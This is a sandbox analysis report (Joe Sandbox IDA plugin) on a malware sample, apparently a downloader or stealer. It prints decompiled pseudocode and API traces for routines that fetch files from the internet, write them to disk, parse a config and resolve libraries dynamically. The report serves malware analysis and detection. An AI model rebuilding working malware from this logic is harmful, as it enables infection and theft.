Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcat
String ID:
API String ID: 381316015-0
Opcode ID: a6722cafb6227cf9e283476907adda51c7ac685d6552fbd8e5ce2c83df479042
Instruction ID: 62fcf98b7427d1e1786c2464c424aee8c057a25e5ff675b67c22bfc9c8d2dea7
Opcode Fuzzy Hash: a6722cafb6227cf9e283476907adda51c7ac685d6552fbd8e5ce2c83df479042
Instruction Fuzzy Hash: A3614D71A45359ABEB24DF50CC49FD977B5BB08700F108599F20AAB2C0C7B86A84CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00405420, Relevance: 22.7, APIs: 18, Instructions: 180
stringCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00405420(void* __ecx) {
				char _v268;
				char _v532;
				char _v796;
				char _v1060;
				char _v1324;
				char _v1588;
				intOrPtr _t45;
				intOrPtr _t50;
				intOrPtr _t55;
				intOrPtr _t60;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr _t75;
				intOrPtr _t80;
				intOrPtr _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t103;
				intOrPtr _t105;
				intOrPtr _t107;
				intOrPtr _t109;
				intOrPtr _t111;
				intOrPtr _t116;
				intOrPtr _t118;
				intOrPtr _t120;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t126;
				intOrPtr _t128;
				intOrPtr _t130;

				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				E0040B720( &_v1060, 0x104);
				_t45 =  *0x41a368; // 0x872348
				 *0x41aa24( &_v1324, _t45);
				_t116 =  *0x41a7c4; // 0x875778
				 *0x41aa24( &_v1324, _t116);
				_t97 =  *0x41a11c; // 0x875c78
				 *0x41aa24( &_v1324, _t97);
				_t50 =  *0x41a368; // 0x872348
				 *0x41aa24( &_v268, _t50);
				_t118 =  *0x41a7c4; // 0x875778
				 *0x41aa24( &_v268, _t118);
				_t99 =  *0x41a3b4; // 0x875e40
				 *0x41aa24( &_v268, _t99);
				_t55 =  *0x41a368; // 0x872348
				 *0x41aa24( &_v796, _t55);
				_t120 =  *0x41a7c4; // 0x875778
				 *0x41aa24( &_v796, _t120);
				_t101 =  *0x41a090; // 0x875b88
				 *0x41aa24( &_v796, _t101);
				_t60 =  *0x41a368; // 0x872348
				 *0x41aa24( &_v1588, _t60);
				_t122 =  *0x41a7c4; // 0x875778
				 *0x41aa24( &_v1588, _t122);
				_t103 =  *0x41a604; // 0x875ba0
				 *0x41aa24( &_v1588, _t103);
				_t65 =  *0x41a368; // 0x872348
				 *0x41aa24( &_v532, _t65);
				_t124 =  *0x41a7c4; // 0x875778
				 *0x41aa24( &_v532, _t124);
				_t105 =  *0x41a630; // 0x875e58
				 *0x41aa24( &_v532, _t105);
				_t70 =  *0x41a368; // 0x872348
				 *0x41aa24( &_v1060, _t70);
				_t126 =  *0x41a7c4; // 0x875778
				 *0x41aa24( &_v1060, _t126);
				_t107 =  *0x41a674; // 0x8758b8
				 *0x41aa24( &_v1060, _t107);
				_t75 =  *0x41a2f0; // 0x877060
				_t108 =  &_v1324;
				E004049E0( &_v1324,  &_v1324, _t75);
				_t128 =  *0x41a650; // 0x8770d8
				E004049E0(_t108,  &_v268, _t128);
				_t109 =  *0x41a220; // 0x877150
				E004049E0(_t109,  &_v796, _t109);
				_t80 =  *0x41a6cc; // 0x875638
				_t110 =  &_v1588;
				E004049E0( &_v1588,  &_v1588, _t80);
				_t130 =  *0x41a4a8; // 0x8771c8
				E004049E0(_t110,  &_v532, _t130);
				_t111 =  *0x41a700; // 0x877100
				E004049E0(_t111,  &_v1060, _t111);
				E0040B720( &_v1324, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B720( &_v796, 0x104);
				E0040B720( &_v1588, 0x104);
				E0040B720( &_v532, 0x104);
				return E0040B720( &_v1060, 0x104);
			}

0x00405435
0x00405446
0x00405457
0x00405468
0x00405479
0x0040548a
0x0040548f
0x0040549c
0x004054a2
0x004054b0
0x004054b6
0x004054c4
0x004054ca
0x004054d7
0x004054dd
0x004054eb
0x004054f1
0x004054ff
0x00405505
0x00405512
0x00405518
0x00405526
0x0040552c
0x0040553a
0x00405540
0x0040554d
0x00405553
0x00405561
0x00405567
0x00405575
0x0040557b
0x00405588
0x0040558e
0x0040559c
0x004055a2
0x004055b0
0x004055b6
0x004055c3
0x004055c9
0x004055d7
0x004055dd
0x004055eb
0x004055f1
0x004055f7
0x004055fe
0x00405606
0x00405614
0x0040561c
0x0040562a
0x00405632
0x00405638
0x0040563f
0x00405647
0x00405655
0x0040565d
0x0040566b
0x0040567f
0x00405690
0x004056a1
0x004056b2
0x004056c3
0x004056dc

APIs

lstrcat.KERNEL32(?,00872348), ref: 0040549C
lstrcat.KERNEL32(?,00875778), ref: 004054B0
lstrcat.KERNEL32(?,00875C78), ref: 004054C4
lstrcat.KERNEL32(?,00872348), ref: 004054D7
lstrcat.KERNEL32(?,00875778), ref: 004054EB
lstrcat.KERNEL32(?,00875E40), ref: 004054FF
lstrcat.KERNEL32(?,00872348), ref: 00405512
lstrcat.KERNEL32(?,00875778), ref: 00405526
lstrcat.KERNEL32(?,00875B88), ref: 0040553A
lstrcat.KERNEL32(?,00872348), ref: 0040554D
lstrcat.KERNEL32(?,00875778), ref: 00405561
lstrcat.KERNEL32(?,00875BA0), ref: 00405575
lstrcat.KERNEL32(?,00872348), ref: 00405588
lstrcat.KERNEL32(?,00875778), ref: 0040559C
lstrcat.KERNEL32(?,00875E58), ref: 004055B0
lstrcat.KERNEL32(?,00872348), ref: 004055C3
lstrcat.KERNEL32(?,00875778), ref: 004055D7
lstrcat.KERNEL32(?,008758B8), ref: 004055EB

Part of subcall function 004049E0: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E

Part of subcall function 004049E0: StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
Part of subcall function 004049E0: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
Part of subcall function 004049E0: StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
Part of subcall function 004049E0: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
Part of subcall function 004049E0: InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
Part of subcall function 004049E0: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
Part of subcall function 004049E0: CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
Part of subcall function 004049E0: InternetCloseHandle.WININET(?), ref: 00404BC6
Part of subcall function 004049E0: InternetCloseHandle.WININET(00000000), ref: 00404BD3

Part of subcall function 004049E0: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00404AB0
Part of subcall function 004049E0: Sleep.KERNEL32(00007530), ref: 00404AF6

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID:
API String ID: 3671864319-0
Opcode ID: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction ID: 5a6f90b88bf48c53f68c00fc2f1db0b98238631f3db8af8a6affdc9d9dd0ffe7
Opcode Fuzzy Hash: 523f6f94308fdabadb63e5cab476504b7bf4905b54afa8b5587d7d0ed3e38dc8
Instruction Fuzzy Hash: AB6178F6511118ABC710EBA0DD85DEA33B8FB4C704F0485AEF21593191DB7897A4CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00635670, Relevance: 22.7, APIs: 18, Instructions: 180stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0041A368), ref: 006356EC
lstrcat.KERNEL32(?,0041A7C4), ref: 00635700
lstrcat.KERNEL32(?,0041A11C), ref: 00635714
lstrcat.KERNEL32(?,0041A368), ref: 00635727
lstrcat.KERNEL32(?,0041A7C4), ref: 0063573B
lstrcat.KERNEL32(?,0041A3B4), ref: 0063574F
lstrcat.KERNEL32(?,0041A368), ref: 00635762
lstrcat.KERNEL32(?,0041A7C4), ref: 00635776
lstrcat.KERNEL32(?,0041A090), ref: 0063578A
lstrcat.KERNEL32(?,0041A368), ref: 0063579D
lstrcat.KERNEL32(?,0041A7C4), ref: 006357B1
lstrcat.KERNEL32(?,0041A604), ref: 006357C5
lstrcat.KERNEL32(?,0041A368), ref: 006357D8
lstrcat.KERNEL32(?,0041A7C4), ref: 006357EC
lstrcat.KERNEL32(?,0041A630), ref: 00635800
lstrcat.KERNEL32(?,0041A368), ref: 00635813
lstrcat.KERNEL32(?,0041A7C4), ref: 00635827
lstrcat.KERNEL32(?,0041A674), ref: 0063583B

Part of subcall function 00634C30: InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00634C5E

Part of subcall function 00634C30: StrCmpCA.SHLWAPI(00000000,00418B84), ref: 00634C8A
Part of subcall function 00634C30: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00634CDF
Part of subcall function 00634C30: HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00634D1F
Part of subcall function 00634C30: StrCmpCA.SHLWAPI(?,00418B8C), ref: 00634D35
Part of subcall function 00634C30: CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00634D67
Part of subcall function 00634C30: InternetReadFile.WININET(?,?,00000400,?), ref: 00634D90
Part of subcall function 00634C30: WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00634DBE
Part of subcall function 00634C30: CloseHandle.KERNEL32(?,?,00000400), ref: 00634E0C
Part of subcall function 00634C30: InternetCloseHandle.WININET(?), ref: 00634E16
Part of subcall function 00634C30: InternetCloseHandle.WININET(00000000), ref: 00634E23

Part of subcall function 00634C30: InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000100,00000000), ref: 00634D00
Part of subcall function 00634C30: Sleep.KERNEL32(00007530), ref: 00634D46

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrcat$Internet$CloseFileHandleOpen$CreateHttpInfoQueryReadSleepWrite
String ID:
API String ID: 3671864319-0
Opcode ID: f0cdc9165babbdbcea85b9a89b8e2ceea59233cf9381ccee5635e80114939224
Instruction ID: 404c90244c1bf3a3950b9f8bb2233b3ca22d24688e776322e68190a83e7fe297
Opcode Fuzzy Hash: f0cdc9165babbdbcea85b9a89b8e2ceea59233cf9381ccee5635e80114939224
Instruction Fuzzy Hash: C66184B6511208ABC710EBA0DD89EDA73FDBB4C700F04859DB31592191DB78E7A8CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0063C530, Relevance: 22.6, APIs: 15, Instructions: 109libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(0041AA64,0041A718), ref: 0063C582
GetProcAddress.KERNEL32(0041AA64,0041A33C), ref: 0063C59A
GetProcAddress.KERNEL32(0041AA64,0041A5BC), ref: 0063C5B2
GetProcAddress.KERNEL32(0041AA64,0041A4B0), ref: 0063C5CB
GetProcAddress.KERNEL32(0041AA64,0041A4C8), ref: 0063C5E3
GetProcAddress.KERNEL32(0041AA64,0041A7D4), ref: 0063C5FB
GetProcAddress.KERNEL32(0041AA64,0041A324), ref: 0063C614
GetProcAddress.KERNEL32(0041AA64,0041A6F0), ref: 0063C62C
GetProcAddress.KERNEL32(0041AA64,0041A7B0), ref: 0063C644
GetProcAddress.KERNEL32(0041AA64,0041A218), ref: 0063C65D
GetProcAddress.KERNEL32(0041AA64,004192A0), ref: 0063C673
LoadLibraryA.KERNEL32(0041A0F8,?,00636DC2), ref: 0063C685
LoadLibraryA.KERNEL32(0041A658,?,00636DC2), ref: 0063C697
GetProcAddress.KERNEL32(0041A854,0041A594), ref: 0063C6B8
GetProcAddress.KERNEL32(0041A934,0041A0B8), ref: 0063C6D9

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: bd5523d27fc6fb329f5a9242a1161b762031ab7f47a306fe84d3c98064a4b842
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: 074174F5523200DFC344DFA8EE489E637BABB88251705C939E50983671D6389561CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCF0, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156COMMON

Download Yara Rule

Strings

g@A, xrefs: 0040BE4C, 0040BE4F
image/jpeg, xrefs: 0040BDE3
g@A, xrefs: 0040BD1C, 0040BE70, 0040BD1F, 0040BE73

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID:
String ID: image/jpeg$g@A$g@A
API String ID: 0-1537867833
Opcode ID: 13642a03564dce3ec8fa5213b0d982587bde0afc6153abd95ccba73b638ac59e
Instruction ID: 94b623c1a3e4286d278b3a98d93620b6c1d28f1eb204197fa047bb13e3fbbd8a
Opcode Fuzzy Hash: 13642a03564dce3ec8fa5213b0d982587bde0afc6153abd95ccba73b638ac59e
Instruction Fuzzy Hash: 3251FAB5A11208AFCB04DBE4DC44FEEB7B9EF4C701F148929F605E6290D734A951CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004082E0, Relevance: 19.7, APIs: 13, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040830F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040835F
RtlAllocateHeap.NTDLL(00000000), ref: 00408366
lstrcat.KERNEL32(?,00878058), ref: 004083E1

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00408425
lstrcat.KERNEL32(?,00878070), ref: 00408438
lstrcat.KERNEL32(?,?), ref: 0040844C
lstrcat.KERNEL32(?,008786D8), ref: 00408460
lstrcat.KERNEL32(?,?), ref: 00408474
lstrcat.KERNEL32(?,004191F0), ref: 00408486
lstrcat.KERNEL32(?,?), ref: 0040849A
lstrcat.KERNEL32(?,00418BC0), ref: 004084AC
lstrlen.KERNEL32(?), ref: 004084BE

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID:
API String ID: 2806430148-0
Opcode ID: 625843ca34ed7e0e1c7bac87bae398836e1447a572bc5b4c7a4beef6269fe3f9
Instruction ID: 59f89f9cc7d9a5e3f1725e4a0dc26015c1addf92b97e6f17d5df6be883cb31b8
Opcode Fuzzy Hash: 625843ca34ed7e0e1c7bac87bae398836e1447a572bc5b4c7a4beef6269fe3f9
Instruction Fuzzy Hash: 885168B1A00108ABCB14DFA4DD4AEDA77B8AF4C705F0085A4F709D3251DA35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00638530, Relevance: 19.7, APIs: 13, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0063855F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 006385AF
RtlAllocateHeap.NTDLL(00000000), ref: 006385B6
lstrcat.KERNEL32(?,0041A208), ref: 00638631

Part of subcall function 00637480: memset.MSVCRT ref: 006374D2
Part of subcall function 00637480: LocalAlloc.KERNEL32(00000040,?), ref: 00637521
Part of subcall function 00637480: lstrcat.KERNEL32(?,00000000), ref: 00637587

lstrcat.KERNEL32(?,00000000), ref: 00638675
lstrcat.KERNEL32(?,0041A488), ref: 00638688
lstrcat.KERNEL32(?,?), ref: 0063869C
lstrcat.KERNEL32(?,0041A158), ref: 006386B0
lstrcat.KERNEL32(?,?), ref: 006386C4
lstrcat.KERNEL32(?,004191F0), ref: 006386D6
lstrcat.KERNEL32(?,?), ref: 006386EA
lstrcat.KERNEL32(?,00418BC0), ref: 006386FC
lstrlen.KERNEL32(?), ref: 0063870E

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID:
API String ID: 2806430148-0
Opcode ID: 88c21c9bfdff89063fd4b0833be0942f936582d795599a721e22ff83f338ee38
Instruction ID: 0f817a2ed13f6a8e8556faa8d7fb7a6457b2a1f83de0db2b62a2acc1e1e668ac
Opcode Fuzzy Hash: 88c21c9bfdff89063fd4b0833be0942f936582d795599a721e22ff83f338ee38
Instruction Fuzzy Hash: 425161B1A00108ABCB14DBA4DD4AEDA77B9AF4C705F008594F70993251DA35EEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00634C30, Relevance: 19.6, APIs: 13, Instructions: 141networkfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00634C5E
StrCmpCA.SHLWAPI(00000000,00418B84), ref: 00634C8A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00634CDF
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00634D1F
StrCmpCA.SHLWAPI(?,00418B8C), ref: 00634D35
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00634D67
InternetReadFile.WININET(?,?,00000400,?), ref: 00634D90
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00634DBE
CloseHandle.KERNEL32(?,?,00000400), ref: 00634E0C
InternetCloseHandle.WININET(?), ref: 00634E16
InternetCloseHandle.WININET(00000000), ref: 00634E23

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID:
API String ID: 1681390745-0
Opcode ID: cee54dde57788165cd2f5eecb82456abf25827b5851e07fa58a387223f456198
Instruction ID: 3c9ca99b243b7afe8ee8a7e7fd2370130a630274e6db880f3fa2e232c6a566f5
Opcode Fuzzy Hash: cee54dde57788165cd2f5eecb82456abf25827b5851e07fa58a387223f456198
Instruction Fuzzy Hash: 2E5172B1A41318ABDB20DF50DC45FEEB7B9BF48705F108099F605A62C0DB74AA84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00406320, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 185
stringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00406320(void* __ecx, void* __eflags, intOrPtr _a4, char _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v5548;
				char* _v5552;
				char _v5820;
				char* _v5824;
				char _v5828;
				char _v5832;
				signed int _v5836;
				char* _t74;
				intOrPtr _t79;
				void* _t99;
				void* _t100;

				E004139B0(0x16c8, __ecx);
				_v5552 = 1;
				E0040B720( &_v5548, 0x1388);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v5820, 0x104);
				E0040B720( &_v276, 0x104);
				E0040B720( &_v5832, 4);
				 *0x41aa24( &_v5548, _a4);
				_t74 = E0040C090( &_v5548, "|",  &_v5828);
				_t100 = _t99 + 0xc;
				_v5824 = _t74;
				_v8 = 1;
				while(_v5824 != 0) {
					_v5836 = _v8;
					_v5836 = _v5836 - 1;
					if(_v5836 <= 6) {
						switch( *((intOrPtr*)(_v5836 * 4 +  &M0040662C))) {
							case 0:
								if(_v5552 == 0) {
									E0040B720( &_v540, 0x104);
									_push(_v5824);
									_push( &_v540);
									 *0x41aa24();
								} else {
									_push("1");
									_push(_v5824);
									if( *0x41aa4c() == 0) {
										 *0x41aba4 = 1;
									}
								}
								goto L37;
							case 1:
								__eflags = _v5552;
								if(_v5552 == 0) {
									_v544 = E0040B650(__ecx, _v5824);
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41aba8 = 1;
									}
								}
								goto L37;
							case 2:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__ecx =  &_v5820;
									__eax = E0040B720( &_v5820, 0x104);
									_push(_v5824);
									__eax =  &_v5820;
									_push( &_v5820);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__eax = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abac = 1;
									}
								}
								goto L37;
							case 3:
								__eflags = _v5552;
								if(_v5552 == 0) {
									E0040B720( &_v276, 0x104) = _v5824;
									_push(_v5824);
									__ecx =  &_v276;
									_push( &_v276);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abb0 = 1;
									}
									_v5552 = 0;
									_v8 = 0;
								}
								goto L37;
							case 4:
								_push("0");
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v12 = 1;
								} else {
									_v12 = 0;
								}
								goto L37;
							case 5:
								_push("0");
								__eax = _v5824;
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v5832 = 1;
								} else {
									_v5832 = 0;
								}
								goto L37;
							case 6:
								__ecx = _v5824;
								_t51 =  &_a8; // 0x406751
								__eax =  *_t51;
								__ecx = _v12;
								__eax =  &_v5820;
								__ecx = _v544;
								__eax = E00406130(_v544, __eflags,  &_v540, _v544,  &_v5820,  &_v276, _v12,  *_t51, _v5832, _v5824);
								_v8 = 0;
								goto L37;
						}
					}
					L37:
					_v8 = _v8 + 1;
					_t79 = E0040C090(0, "|",  &_v5828);
					_t100 = _t100 + 0xc;
					_v5824 = _t79;
				}
				return E0040B720( &_v5548, 0x1388);
			}

0x00406328
0x0040632d
0x00406343
0x00406354
0x00406365
0x00406376
0x00406384
0x00406394
0x004063ad
0x004063b2
0x004063b5
0x004063bb
0x004063c2
0x004063d2
0x004063e1
0x004063ee
0x004063fa
0x00000000
0x00406408
0x00406438
0x00406443
0x0040644a
0x0040644b
0x0040640a
0x0040640a
0x00406415
0x0040641e
0x00406420
0x00406420
0x0040642a
0x00000000
0x00000000
0x00406456
0x0040645d
0x00406490
0x0040645f
0x0040645f
0x00406464
0x0040646a
0x0040646b
0x00406471
0x00406473
0x00406475
0x00406475
0x0040647f
0x00000000
0x00000000
0x0040649b
0x004064a2
0x004064cb
0x004064d2
0x004064dd
0x004064de
0x004064e4
0x004064e5
0x004064a4
0x004064a4
0x004064a9
0x004064af
0x004064b0
0x004064b6
0x004064b8
0x004064ba
0x004064ba
0x004064c4
0x00000000
0x00000000
0x004064f0
0x004064f7
0x0040653d
0x00406543
0x00406544
0x0040654a
0x0040654b
0x004064f9
0x004064f9
0x004064fe
0x00406504
0x00406505
0x0040650b
0x0040650d
0x0040650f
0x0040650f
0x00406519
0x00406523
0x00406523
0x00000000
0x00000000
0x00406556
0x00406561
0x00406562
0x00406568
0x0040656a
0x00406575
0x0040656c
0x0040656c
0x0040656c
0x00000000
0x00000000
0x0040657e
0x00406583
0x00406589
0x0040658a
0x00406590
0x00406592
0x004065a0
0x00406594
0x00406594
0x00406594
0x00000000
0x00000000
0x004065ac
0x004065ba
0x004065ba
0x004065be
0x004065c9
0x004065d0
0x004065de
0x004065e6
0x00000000
0x00000000
0x004063fa
0x004065ed
0x004065f3
0x00406604
0x00406609
0x0040660c
0x0040660c
0x0040662b

APIs

lstrcat.KERNEL32(?,?), ref: 00406394
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406416
lstrcat.KERNEL32(?,00000000), ref: 0040644B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 0040646B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 004064B0
lstrcat.KERNEL32(?,00000000), ref: 004064E5
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406505
lstrcat.KERNEL32(?,00000000), ref: 0040654B
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 00406562
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 0040658A

Part of subcall function 00406130: wsprintfA.USER32 ref: 0040616C
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061BC
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061EA
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406218
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

Qg@, xrefs: 004065BA, 004065BD

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcatlstrcpy$wsprintf
String ID: Qg@
API String ID: 2209684894-3462340965
Opcode ID: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction ID: a6c453932f1a9cbb60a7cc7ac58ece15fec1271fc19e7cecd9f856b6af5d47a2
Opcode Fuzzy Hash: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction Fuzzy Hash: CB7160B5904218EBCB24DF50DC85BEA73B8AF44304F0482EEE10AA7290D7799BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0063BF40, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 156COMMON

Download Yara Rule

Strings

4jcA, xrefs: 0063C09C, 0063C09F
4jcA, xrefs: 0063BF6C, 0063C0C0, 0063BF6F, 0063C0C3

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID:
String ID: 4jcA$4jcA
API String ID: 0-3957741332
Opcode ID: df366fe4cfdcb17f8835ee6a92eebfbb1b82b7e289318704104eb4b0eb4033a1
Instruction ID: bba5e6459a8e64ba7e293f4a7c2a067d8f5910d2aec42d1b2d19f2a4ef76e7a4
Opcode Fuzzy Hash: df366fe4cfdcb17f8835ee6a92eebfbb1b82b7e289318704104eb4b0eb4033a1
Instruction Fuzzy Hash: 9651EAB6A11208EFDB04DBE4DC84FEEB7B9AF4C710F148518F605E6290DB349952CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00407900, Relevance: 18.1, APIs: 12, Instructions: 105
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00407900(void* __ecx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				char _v5012;
				intOrPtr _v5016;
				CHAR* _t17;
				struct HINSTANCE__* _t21;
				CHAR* _t24;
				struct HINSTANCE__* _t26;
				CHAR* _t29;
				CHAR* _t42;
				CHAR* _t43;
				struct HINSTANCE__* _t44;
				CHAR* _t45;
				struct HINSTANCE__* _t46;
				CHAR* _t49;
				struct HINSTANCE__* _t50;
				CHAR* _t51;
				struct HINSTANCE__* _t52;
				CHAR* _t55;

				E004139B0(0x1394, __ecx);
				if(_a4 == 0) {
					return 0;
				}
				_v8 = 0xffff;
				_t17 =  *0x41a034; // 0x877768
				_v12 = GetEnvironmentVariableA(_t17, 0x41b488, 0xffff);
				if(0x41b488 != 0) {
					E0040B720( &_v5012, 0x1388);
					 *0x41aa24( &_v5012, 0x41b488);
					 *0x41aa24( &_v5012, ";");
					 *0x41aa24( &_v5012, _a4);
					_t55 =  *0x41a034; // 0x877768
					SetEnvironmentVariableA(_t55,  &_v5012);
					E0040B720( &_v5012, 0x1388);
				}
				_t42 =  *0x41a6cc; // 0x875638
				 *0x41a824 = LoadLibraryA(_t42);
				if( *0x41a824 != 0) {
